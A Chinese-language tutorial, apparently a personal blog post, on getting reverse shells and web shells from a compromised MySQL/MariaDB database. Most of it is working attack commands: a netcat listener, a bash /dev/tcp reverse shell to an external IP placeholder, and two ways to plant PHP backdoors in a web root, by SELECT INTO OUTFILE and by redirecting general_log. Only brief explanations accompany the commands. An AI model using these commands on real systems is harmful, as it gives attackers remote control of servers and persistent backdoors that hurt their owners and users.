数据库反弹shell的几种方式
反弹shell: 将已经获取控制权的机器返回一个shell给外部机器
反弹BASH
在外部机器执行的指令
1 | nc -l {端口} |
nc 可以用来连接到端口通信,用法是 nc [host] [port]
,
也可以启动本机的port进行监听,使用-l
参数
在需要反弹机器的数据库里执行指令
1 | system bash -c 'bash -i &> /dev/tcp/{外部机器IP}/{端口} <&1' |
解读指令:
从左到右进行解读,system 是数据库用来执行系统指令的,bash就不多说了,说一下他的参数。
-c
: 代表command,后面接命令字符串,主要是为了防止其他shell的干扰
-i
: 交互式shell
&>
: 将标准输出和错误进行重定向
/dev/tcp/ip/port
: bash建立socket的一种特殊写法,除此之外还有udp
<&1
: 把标准输入重定向到标准输出, 其他写法 0>&1
WebShell
方法一
目标机器开启80端口且PHP为后端
数据库的全局变量
secure_file_priv
值为空,不能为NULL(不能输出文件),如果有路径代表只能输出到该路径
1 | MariaDB root@(none):(none)> show variables like '%secure%' |
- 数据库用户有输出文件权限
1 | select group_concat(user,0x3a,file_priv) from mysql.user; |
- 数据库(mysql)对 $_SERVER[‘DOCUMENT_ROOT’] 有写入权限
- 对http服务根目录输出webshell
1 | select "<?php @system($_GET['cmd']);?>" into outfile '/srv/http/houmen.php'; |
方法二
如果上面的 secure_file_priv
规定了输出目录或者是NULL,还可以使用 general_log
的方法来写shell,general_log可以记录所有基础日志,默认关闭
- 模糊查找关于general的信息
1 | MariaDB root@(none):(none)> show variables like '%general%' |
- 开启general_log,设置路径
1 | MariaDB root@(none):(none)> set global general_log = 1; |
- 写入数据
1 | MariaDB root@(none):(none)> select "<?php @eval($_GET['command']);?>" |
1 | ❯ sudo cat /srv/http/hm.php |
关于服务器权限的问题:
在我的MANJARO系统里,httpd的用户是http,mariadb的用户是mysql,默认情况下,会存在mysql无法写入,httpd无法读取的情况
这些漏洞在windows上可能可以实现
总结
后端只要满足三个条件就可以反弹shell
- 支持 tcp 链接
- 支持 IO 重定向
- 可以调用系统命令
参考文章